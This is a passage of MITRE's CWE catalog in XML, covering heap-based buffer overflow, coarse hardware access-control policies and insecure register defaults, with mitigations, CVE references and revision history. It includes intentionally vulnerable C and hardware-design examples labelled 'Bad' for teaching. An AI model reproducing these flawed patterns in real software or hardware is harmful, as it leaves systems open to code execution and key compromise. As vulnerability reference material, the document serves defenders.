					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Common_Consequences</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Potential_Mitigations, References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="122" Name="Heap-based Buffer Overflow" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="788" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="787" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Note>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Modify Memory</Impact>
               <Note>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. Besides important user data, heap-based overflows can be used to overwrite function pointers that may be living in memory, pointing it to the attacker's code. Even in applications that do not explicitly use function pointers, the run-time will usually leave many in memory. For example, object methods in C++ are generally implemented using function pointers. Even in C programs, there is often a global offset table used by the underlying runtime.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Other</Impact>
               <Note>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Pre-design: Use a language or compiler that performs automatic bounds checking.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use an abstraction library to abstract away risky APIs. Not a complete solution.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-10">
              <Phase>Operation</Phase> 
	      <Phase>Build and Compilation</Phase>
	      <Strategy>Environment Hardening</Strategy> 
	      <Description> 
		<xhtml:p>Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. </xhtml:p> 
		<xhtml:p> D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail. </xhtml:p> 

	      </Description> 
	      <Effectiveness>Defense in Depth</Effectiveness> 
	      <Effectiveness_Notes> 
		<xhtml:p> This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application. </xhtml:p> 
	      </Effectiveness_Notes> 
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-11">
               <Phase>Operation</Phase> 
	       <Phase>Build and Compilation</Phase> 
	       <Strategy>Environment Hardening</Strategy> 
	       <Description>
		 <xhtml:p>Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. </xhtml:p> 
		 <xhtml:p> Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. </xhtml:p> 
		 <xhtml:p> For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335]. </xhtml:p>
	       </Description> 
	       <Effectiveness>Defense in Depth</Effectiveness> 
	       <Effectiveness_Notes>These techniques do not provide a complete solution.  For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]</Effectiveness_Notes> 
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Implement and perform bounds checking on input.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Do not use dangerous functions such as gets. Look for their safe equivalent, which checks for the boundary.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Operation</Phase>
               <Description>Use OS-level preventative functionality. This is not a complete solution, but it provides some defense in depth.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, heap-based buffer overflows:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define BUFSIZE 256<xhtml:br/>int main(int argc, char **argv) {<xhtml:div style="margin-left:1em;">char *buf;<xhtml:br/>buf = (char *)malloc(sizeof(char)*BUFSIZE);<xhtml:br/>strcpy(buf, argv[1]);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The buffer is allocated heap memory with a fixed size, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-19">
               <Intro_Text>This example applies an encoding procedure to an input string and stores it into a buffer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char * copy_input(char *user_supplied_string){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int i, dst_index;<xhtml:br/>char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);<xhtml:br/>if ( MAX_SIZE &lt;= strlen(user_supplied_string) ){<xhtml:div style="margin-left:1em;">die("user string too long, die evil hacker!");</xhtml:div>}<xhtml:br/>dst_index = 0;<xhtml:br/>for ( i = 0; i &lt; strlen(user_supplied_string); i++ ){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if( '&amp;' == user_supplied_string[i] ){<xhtml:div style="margin-left:1em;">dst_buf[dst_index++] = '&amp;';<xhtml:br/>dst_buf[dst_index++] = 'a';<xhtml:br/>dst_buf[dst_index++] = 'm';<xhtml:br/>dst_buf[dst_index++] = 'p';<xhtml:br/>dst_buf[dst_index++] = ';';</xhtml:div>}<xhtml:br/>else if ('&lt;' == user_supplied_string[i] ){<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>/* encode to &amp;lt; */</xhtml:i>
                                       <xhtml:br/>
                                    </xhtml:div>
                                 </xhtml:div>}<xhtml:br/>else dst_buf[dst_index++] = user_supplied_string[i];</xhtml:div>
                           </xhtml:div>}<xhtml:br/>return dst_buf;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-4268</Reference>
               <Description>Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4268</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2523</Reference>
               <Description>Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2523</Link>
            </Observed_Example>
	    <Observed_Example>
	      <Reference>CVE-2021-29529</Reference>
	      <Description>Chain: machine-learning product can have a heap-based
	      buffer overflow (CWE-122) when some integer-oriented bounds are
	      calculated by using ceiling() and floor() on floating point values
	      (CWE-1339)</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2021-29529</Link>
	    </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Heap overflow</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP8</Entry_ID>
               <Entry_Name>Faulty Buffer Access</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR31-C</Entry_ID>
               <Entry_Name>Guarantee that storage for strings has sufficient space for character data and the null terminator</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="92"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 5, &#34;Heap Overruns&#34; Page 138"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 5: Buffer Overruns.&#34; Page 89"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 3, &#34;Nonexecutable Stack&#34;, Page 76"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 5, &#34;Protection Mechanisms&#34;, Page 189"/>
            <Reference External_Reference_ID="REF-58"/>
            <Reference External_Reference_ID="REF-60"/>
            <Reference External_Reference_ID="REF-64"/>
            <Reference External_Reference_ID="REF-18"/>
	    <Reference External_Reference_ID="REF-1337" Section="Memory information leaks"/>
	    <Reference External_Reference_ID="REF-1332"/>
	    <Reference External_Reference_ID="REF-1333"/>
	    <Reference External_Reference_ID="REF-1334"/>
	    <Reference External_Reference_ID="REF-1335"/>
         </References>
         <Notes>
            <Note Type="Relationship">Heap-based buffer overflows are usually just as dangerous as stack-based buffer overflows.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Likelihood_of_Exploit, Observed_Examples, References, Relationships, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Potential_Mitigations, References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1220" Name="Insufficient Granularity of Access Control" Abstraction="Base" Structure="Simple" Status="Incomplete">
            <Description>The product implements access controls via a policy or other feature with the intention to disable or restrict accesses (reads and/or writes) to assets in a system from untrusted agents. However, implemented access controls lack required granularity, which renders the control policy too broad because it allows accesses from unauthorized agents to the security-sensitive assets.</Description>
            <Extended_Description>
                <xhtml:p>Integrated circuits and hardware engines can expose accesses to assets (device configuration, keys, etc.) to trusted firmware or a software module (commonly set by BIOS/bootloader). This access is typically access-controlled. Upon a power reset, the hardware or system usually starts with default values in registers, and the trusted firmware (Boot firmware) configures the necessary access-control protection.</xhtml:p>
                <xhtml:p>A common weakness that can exist in such protection schemes is that access controls or policies are not granular enough. This condition allows agents beyond trusted agents to access assets and could lead to a loss of functionality or the ability to set up the device securely. This further results in security risks from leaked, sensitive, key material to modification of device configuration.</xhtml:p>
            </Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
            </Applicable_Platforms>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Architecture and Design</Phase>
                    <Note>Such issues could be introduced during hardware architecture and design and identified later during Testing or System Configuration phases.</Note>
                </Introduction>
                <Introduction>
                    <Phase>Implementation</Phase>
                    <Note>Such issues could be introduced during hardware implementation and identified later during Testing or System Configuration phases.</Note>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Confidentiality</Scope>
                    <Scope>Integrity</Scope>
                    <Scope>Availability</Scope>
                    <Scope>Access Control</Scope>
                    <Impact>Modify Memory</Impact>
                    <Impact>Read Memory</Impact>
                    <Impact>Execute Unauthorized Code or Commands</Impact>
                    <Impact>Gain Privileges or Assume Identity</Impact>
                    <Impact>Bypass Protection Mechanism</Impact>
                    <Impact>Other</Impact>
                    <Likelihood>High</Likelihood>
                </Consequence>
            </Common_Consequences>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Architecture and Design</Phase>
                    <Phase>Implementation</Phase>
                    <Phase>Testing</Phase>
                    <Description>
                        <xhtml:ul>
                            <xhtml:li>Access-control-policy protections must be reviewed for design inconsistency and common weaknesses.</xhtml:li>
                            <xhtml:li>Access-control-policy definition and programming flow must be tested in pre-silicon, post-silicon testing.</xhtml:li>
                        </xhtml:ul>
                    </Description>
                    <Effectiveness>High</Effectiveness>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example>
                    <Intro_Text>
                        <xhtml:p>Consider a system with a register for storing AES key for encryption or decryption. The key is 128 bits, implemented as a set of four 32-bit registers. The key registers are assets and registers, AES_KEY_READ_POLICY and AES_KEY_WRITE_POLICY, and are defined to provide necessary access controls.</xhtml:p>
                        <xhtml:p>The read-policy register defines which agents can read the AES-key registers, and write-policy register defines which agents can program or write to those registers. Each register is a 32-bit register, and it can support access control for a maximum of 32 agents. The number of the bit when set (i.e., "1") allows respective action from an agent whose identity matches the number of the bit and, if "0" (i.e., Clear), disallows the respective action to that corresponding agent.</xhtml:p>
                    </Intro_Text>
                    <Example_Code Nature="Bad" Language="Other">
                        <xhtml:table>
                            <xhtml:tr>
                                <xhtml:th>Register</xhtml:th>
                                <xhtml:th>Field description</xhtml:th>
                            </xhtml:tr>
                            <xhtml:tr>
                                <xhtml:td>AES_ENC_DEC_KEY_0</xhtml:td>
                                <xhtml:td>AES key [0:31] for encryption or decryption<xhtml:br/>Default 0x00000000</xhtml:td>
                            </xhtml:tr>
                            <xhtml:tr>
                                <xhtml:td>AES_ENC_DEC_KEY_1</xhtml:td>
                                <xhtml:td>AES key [32:63] for encryption or decryption<xhtml:br/>Default 0x00000000</xhtml:td>
                            </xhtml:tr>
                            <xhtml:tr>
                                <xhtml:td>AES_ENC_DEC_KEY_2</xhtml:td>
                                <xhtml:td>AES key [64:95] for encryption or decryption<xhtml:br/>Default 0x00000000</xhtml:td>
                            </xhtml:tr>
                            <xhtml:tr>
                                <xhtml:td>AES_ENC_DEC_KEY_4</xhtml:td>
                                <xhtml:td>AES key [96:127] for encryption or decryption<xhtml:br/>Default 0x00000000</xhtml:td>
                            </xhtml:tr>
                            <xhtml:tr>
                                <xhtml:td>AES_KEY_READ_WRITE_POLICY</xhtml:td>
                                <xhtml:td>[31:0] Default 0x00000006 - meaning agent with identities "1" and "2" can both read from and write to key registers</xhtml:td>
                            </xhtml:tr>
                        </xhtml:table>
                    </Example_Code>
                    <Body_Text>In the above example, there is only one policy register that controls access to both read and write accesses to the AES-key registers, and thus the design is not granular enough to separate read and writes access for different agents. Here, agent with identities "1" and "2" can both read and write.</Body_Text>
                    <Body_Text>A good design should be granular enough to provide separate access controls to separate actions. Access control for reads should be separate from writes. Below is an example of such implementation where two policy registers are defined for each of these actions. The policy is defined such that: the AES-key registers can only be read or used by a crypto agent with identity "1" when bit #1 is set. The AES-key registers can only be programmed by a trusted firmware with identity "2" when bit #2 is set.</Body_Text>
                    <Example_Code Nature="Mitigation">
                        <xhtml:table>
                            <xhtml:tr>
                                <xhtml:td>AES_KEY_READ_POLICY</xhtml:td>
                                <xhtml:td>[31:0] Default 0x00000002 - meaning only Crypto engine with identity "1" can read registers: AES_ENC_DEC_KEY_0, AES_ENC_DEC_KEY_1, AES_ENC_DEC_KEY_2, AES_ENC_DEC_KEY_3</xhtml:td>
                            </xhtml:tr>
                            <xhtml:tr>
                                <xhtml:td>AES_KEY_WRITE_POLICY</xhtml:td>
                                <xhtml:td>[31:0] Default 0x00000004 - meaning only trusted firmware with identity "2" can program registers: AES_ENC_DEC_KEY_0, AES_ENC_DEC_KEY_1, AES_ENC_DEC_KEY_2, AES_ENC_DEC_KEY_3</xhtml:td>
                            </xhtml:tr>
                        </xhtml:table>
                    </Example_Code>
                </Demonstrative_Example>
            <Demonstrative_Example>
	      <Intro_Text>Consider the following SoC
	      design. The sram in HRoT has an address range that is readable and writable by unprivileged
	      software and it has an area that is only readable by unprivileged software. The tbus
	      interconnect enforces access control for slaves on the bus but uses only one bit to control
	      both read and write access. Address 0xA0000000 - 0xA000FFFF is readable and writable
	      by the untrusted cores core{0-N} and address 0xA0010000 - 0xA001FFFF is only
	      readable by the untrusted cores core{0-N}.</Intro_Text>
	    <Body_Text>
	    <xhtml:img src="https://cwe.mitre.org/data/images/HRoT-CWE.png" alt="Hardware Root of Trust"/>
	    <xhtml:p>
	      The security policy access control is not granular enough, as it uses one bit to enable both
	      read and write access. This gives write access to an area that should only be readable
	      by unprivileged agents.
	      </xhtml:p>
	    <xhtml:p>
	      Access control logic should differentiate between read and write access and to have
	      sufficient address granularity.
	    </xhtml:p>
	    </Body_Text>
            </Demonstrative_Example>
            </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="1"/>
            <Related_Attack_Pattern CAPEC_ID="180"/>
         </Related_Attack_Patterns>
         <Content_History>
                <Submission>
                    <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
                    <Submission_Organization>Intel Corporation</Submission_Organization>
                    <Submission_Date>2020-02-05</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Organization>Tortuga Logic</Contribution_Organization>
               <Contribution_Date>2021-07-16</Contribution_Date>
               <Contribution_Comment>Provided Demonstrative Example for Hardware Root of Trust</Contribution_Comment>
            </Contribution>
            </Content_History>
        </Weakness>
      <Weakness ID="1221" Name="Incorrect Register Defaults or Module Parameters" Abstraction="Base" Structure="Simple" Status="Incomplete">
            <Description>Hardware description language code incorrectly defines register defaults or hardware IP parameters to insecure values.</Description>
            <Extended_Description>
                <xhtml:p>Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to defined default values that are hard coded in the hardware description language (HDL) code of the hardware unit. Hardware descriptive languages also support definition of parameter variables, which can be defined in code during instantiation of the hardware IP module. Such parameters are generally used to configure a specific instance of a hardware IP in the design.</xhtml:p>
                <xhtml:p>The system security settings of a hardware design can be affected by incorrectly defined default values or IP parameters. The hardware IP would be in an insecure state at power reset, and this can be exposed or exploited by untrusted software running on the system. Both register defaults and parameters are hardcoded values, which cannot be changed using software or firmware patches but must be changed in hardware silicon. Thus, such security issues are considerably more difficult to address later in the lifecycle. Hardware designs can have a large number of such parameters and register defaults settings, and it is important to have design tool support to check these settings in an automated way and be able to identify which settings are security sensitive.</xhtml:p>
            </Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="665" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
            <Applicable_Platforms>
                <Language Name="Verilog" Prevalence="Undetermined"/>
                <Language Name="VHDL" Prevalence="Undetermined"/>
                <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
            </Applicable_Platforms>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Implementation</Phase>
                    <Note>Such issues could be introduced during implementation of hardware design, since IP parameters and defaults are defined in HDL code and identified later during Testing or System Configuration phases.</Note>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Confidentiality</Scope>
                    <Scope>Integrity</Scope>
                    <Scope>Availability</Scope>
                    <Scope>Access Control</Scope>
                    <Impact>Varies by Context</Impact>
                    <Note>Degradation of system functionality, or loss of access control enforcement can occur.</Note>
                </Consequence>
            </Common_Consequences>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Architecture and Design</Phase>
                    <Description>During hardware design, all the system parameters and register defaults must be reviewed to identify security sensitive settings.</Description>
                </Mitigation>
                <Mitigation>
                    <Phase>Implementation</Phase>
                    <Description>The default values of these security sensitive settings need to be defined as part of the design review phase.</Description>
                </Mitigation>
                <Mitigation>
                    <Phase>Testing</Phase>
                    <Description>Testing phase should use automated tools to test that values are configured per design specifications.</Description>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example>
                    <Intro_Text>Consider example design module system verilog code shown below.register_example module is an example parameterized module that defines two parameters, REGISTER_WIDTH and REGISTER_DEFAULT. Register_example module defines a Secure_mode setting, which when set makes the register content read-only and not modifiable by software writes. register_top module instantiates two registers, Insecure_Device_ID_1 and Insecure_Device_ID_2. Generally, registers containing device identifier values are required to be read only to prevent any possibility of software modifying these values. </Intro_Text>
                    <Example_Code Nature="Bad" Language="Verilog">
                        // Parameterized Register module example <xhtml:br/>
			// Secure_mode : REGISTER_DEFAULT[0] : When set to 1 register is read only and not writable// <xhtml:br/>
			module register_example <xhtml:br/>
			#( <xhtml:br/>
			parameter REGISTER_WIDTH = 8, // Parameter defines width of register, default 8 bits <xhtml:br/>
			parameter [REGISTER_WIDTH-1:0] REGISTER_DEFAULT = 2**REGISTER_WIDTH -2 // Default value of register computed from Width. Sets all bits to 1s except bit 0 (Secure _mode) <xhtml:br/>
			) <xhtml:br/>
			( <xhtml:br/>
